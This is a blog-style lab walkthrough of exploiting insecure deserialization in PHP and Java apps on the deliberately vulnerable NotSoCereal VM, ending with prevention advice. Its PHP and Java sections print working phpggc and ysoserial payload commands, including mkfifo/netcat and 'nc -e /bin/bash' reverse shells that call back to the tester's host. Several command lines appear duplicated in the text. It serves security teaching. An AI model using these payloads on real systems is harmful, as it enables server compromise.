November 1, 2026
Insecure Deserialization: How to Turn Trusted Data Into a Reverse Shell
A hands-on lab walkthrough against PHP and Java web targets

By Will Giles | Cybersecurity
8 min read
Why insecure deserialization matters
Insecure deserialization is one of the higher-impact bugs you can run into in a web pentest. if an app handles the incoming data carelessly, a serialized object can turn into code running on the server. That kind of severity is why it earns a spot on penetration tests and keeps surfacing in job interviews.
To demonstrate how it works, I'm going to work through this vulnerability class in a lab called NotSoCereal, which is a VM with a collection of web apps built to be intentionally vulnerable. This post follows what I did against both a PHP target and a Java target, from spotting serialized data all the way to landing a reverse shell.
Before any exploitation, a short primer on objects and serialization sets up why the attacks work.
Objects and Object-Oriented Programming
Plenty of different languages show up in a modern corporate environment, and many of them are object-oriented. Procedural code is written as functions that operate on data. Object-oriented code is built around objects that hold both the data and the operations that act on it. Where as a class is the blueprint and an object is a specific instance of that blueprint.
Each object has state, associated operations, and is reached through an identifier, and that state can change over time. A user object on a website is a classic example: it carries attributes such as whether the user is logged in and whether the user is an admin. Getting an object like that from one place to another is where serialization comes in.
Serialization and Deserialization
Serialization is the process of converting an object into a format that can be easily stored or transmitted, such as a file or a network stream. When an object is serialized its state is persisted too, so the attributes are preserved along with their assigned values. Common formats include JSON, XML, and binary, with JSON and XML seen most often for moving data between systems. Exactly how an object is serialized depends on the language: some produce binary, others emit human-readable strings, and most offer native support out of the box.
That capability earns its place for a concrete reason. A program can only work with objects written in its own language, so when two systems need to exchange one, serialization gives them a shared format that both of them can read.
Deserialization runs the process in reverse. It takes data out of a file, a database, or a network stream and rebuilds it into an object the program can use again. From there the application's logic interacts with the rebuilt object exactly as it would with any other.
On their own, these two operations are routine operations. Computers constantly pass data around, and use serialization to do it. The risk lives entirely in how the deserialization gets handled, and handled carelessly it can hand an attacker code execution on the server.
Insecure Deserialization
Insecure deserialization happens when a website deserializes user controlled data. That single condition can open the door for an attacker to tamper with serialized objects and feed harmful data straight into the application's code.
But it gets worse from there. An attacker can swap a serialized object for an object of a completely different class. Any class available to the website will be deserialized and instantiated, whatever class the application happened to expect. For that reason the bug is sometimes called an object injection vulnerability.
An object of an unexpected class might throw an exception, and by the time it does, the damage is often already done. Plenty of deserialization attacks finish before the deserialization itself completes. The act of rebuilding the object can kick off the attack, even when the application's own logic never interacts with the malicious object. That timing is why apps written in strongly typed languages still fall to these techniques.
The root cause is usually a gap in understanding. Developers tend to underestimate how dangerous it is to deserialize anything a user can influence. Some teams bolt validation onto the deserialized data and assume it covers them, yet writing checks that anticipate every possible payload is close to impossible.
PHP vs Java Serialization
Half the battle is recognizing serialized data when it passes in front of you. PHP and Java each leave their own fingerprints.
PHP uses a mostly human-readable string format. Letters stand for the data type and numbers give the length of each entry.
If you spot a value that opens with o, s, i, or b followed by a colon and a number, you are almost certainly looking at a serialized PHP object.
The native functions are serialize() and unserialize(), so with source code access, grepping for unserialize() is the fastest way to find your entry point.
Java uses a binary format that reads as less friendly at first glance. It still gives you a reliable tell: serialized Java objects always begin with the same bytes, shown as ac ed in hexadecimal and rO0 in Base64. Any class that implements the java.io.Serializable interface can be serialized and deserialized. In source code, the method to watch for is readObject(), which reads and deserializes data from an InputStream.
One naming quirk trips people up: serialization also goes by marshalling, where marshal means serialize and unmarshal means deserialize.
NotSoCereal Lab
According to their github, NotSoCereal is an exploitation playground for Deserialization issues and at this point it contains issues in Java, PHP, and Python. It is its own stand alone VM that runs several vulnerable web applications that are vulnerable to insecure deserialization.
You can find the link to it here: https://github.com/NotSoSecure/NotSoCereal-Lab
I set it up in Virtualbox using bridged adapter so it could be on the same network as my Kali linux machine.
First I ran nmap to enmuerate it:
nmap -p- -v 192.168.12.239nmap -p- -v 192.168.12.239
From there I started Burp Suite and used its built-in browser to analyze the target, beginning with the web service on port 80. The lab covers both PHP and Java deserialization, so I worked through each target.
PHP Target
The first app runs on Slim 3, a PHP micro framework.
I always use an app normally before I start testing it, so I submitted the form and watched the response.
The output echoed my input back along with a CSRF token. Decoding reveals a PHP serialized object:
. It was Base64 encoded, and decoding it revealed a PHP serialized object, with the i prefix marking an integer just like the tells from earlier. The next question is whether a value is user controllable, and in the POST request the answer is yes: including the CSRF token.
In order to build a working payload I used phpggc, which is short for PHP Generic Gadget Chains. phpggc is a library of PHP unserialize() payloads paired with a tool that generates them from the command line. A gadget chain works by abusing code that already lives in the application's libraries, stringing blocks of it together until the chain reaches code execution.
I started small and generated a payload that runs id, using -b to Base64 encode the output so it matched the format the app expected:
phpggc -b slim/rce1 system idphpggc -b slim/rce1 system id
I dropped that payload into Burp, in the exact spot where the CSRF token had been, since that token was itself a serialized object.
The response ran the id command and returned its output, which confirmed remote code execution.
Next I wanted proof the box could reach back to me. I set up a listener for ICMP traffic on my attacking machine:
sudo tcpdump -i eth0 icmpsudo tcpdump -i eth0 icmpThen I generated a payload to ping my host at 192.168.12.177:
phpggc -b slim/rce1 system 'ping -c3 192.168.12.177'phpggc -b slim/rce1 system 'ping -c3 192.168.12.177'Seeing the pings arrive in tcpdump confirmed outbound connectivity and set up the final step.
For a shell I started a netcat listener on port 443:
nc -lvnp 443nc -lvnp 443Then I generated a mkfifo reverse shell payload aimed back at that listener:
phpggc -b slim/rce1 system 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.12.177 443 >/tmp/f'phpggc -b slim/rce1 system 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.12.177 443 >/tmp/f'Sending that through Burp in place of the CSRF token gave me an interactive shell on the target, which resulted in a full compromise of the PHP app.
Java Target
The Java app gave me less to work with on the surface. I started with default credentials, and admin:password got me straight in. A useful detail surfaced during login: a failed attempt returned no cookie; a successful one set a cookie. That cookie was what I was looking for. It was Base64 encoded and started with rO0, the signature of a serialized Java object.
For Java payloads the tool I use is ysoserial, which builds serialized objects that trigger code execution through known gadget chains. If you don't know what gadget to use, you can use the GadgetProbe Burp extension to fingerprint the libraries on the server and point you at one. Here I went with CommonsCollections4.
Running ysoserial on its own lists the gadget chains it supports:
java -jar ysoserial.jarjava -jar ysoserial.jarMy first real payload tried to call back for a shell:
java -jar ysoserial.jar CommonsCollections4 'nc 192.168.12.177 443 -e /bin/bash' |base64 -w 0java -jar ysoserial.jar CommonsCollections4 'nc 192.168.12.177 443 -e /bin/bash' |base64 -w 0That threw an error, because ysoserial and this gadget chain need a specific Java version to build the payload correctly. I checked which versions were installed:
ls /usr/lib/jvmls /usr/lib/jvmJava 11 OpenJDK was the one I needed, so I called it by its full path rather than leaning on the system default:
/usr/lib/jvm/java-11-openjdk-amd64/bin/java -jar ysoserial.jar CommonsCollections4 'nc 192.168.12.177 443 -e /bin/bash' |base64 -w 0/usr/lib/jvm/java-11-openjdk-amd64/bin/java -jar ysoserial.jar CommonsCollections4 'nc 192.168.12.177 443 -e /bin/bash' |base64 -w 0That produced the correct Base64 payload. With a netcat listener already running, I sent the login request to Burp Repeater and pasted the payload into the cookie field.
The server deserialized it, ran the netcat command, and my listener caught the reverse shell.
How to prevent it
The most reliable defense is to avoid deserializing data from untrusted sources. User input should stay out of deserialization unless it is genuinely unavoidable, and even then it demands heavy scrutiny. That one rule does more than any amount of downstream validation.
The reason validation falls short is worth repeating: many of these attacks complete during the deserialization process itself, before the application logic ever inspects the object. By the time a check could run, the payload has already fired.
Detection looks different from one language to the next, which ties back to the fingerprints from earlier. For PHP with source access, that means hunting for unserialize(). For Java, it means watching for readObject() and any class that implements java.io.Serializable. On a black box test, recognizing those encoded signatures in cookies, tokens, and parameters is what tips you off.
Conclusion
Insecure deserialization earns its attention because it so often leads straight to code execution. In both labs the pattern held: find a serialized object inside something a user controls, confirm it gets deserialized, then feed it a gadget chain built with the right tool. phpggc handled the PHP target and ysoserial handled the Java one, and the underlying flaw was identical on both.
The practical takeaways are simple. Learn the encoding signatures so serialized data jumps out at you in cookies and tokens. Treat any serialized value a user can touch as a potential entry point. And keep in mind that the fix is at the design level: keep untrusted input away from deserialization in the first place.
References
NotSoCereal: https://github.com/NotSoSecure/NotSoCereal-Lab
Portswigger: https://portswigger.net/web-security/deserialization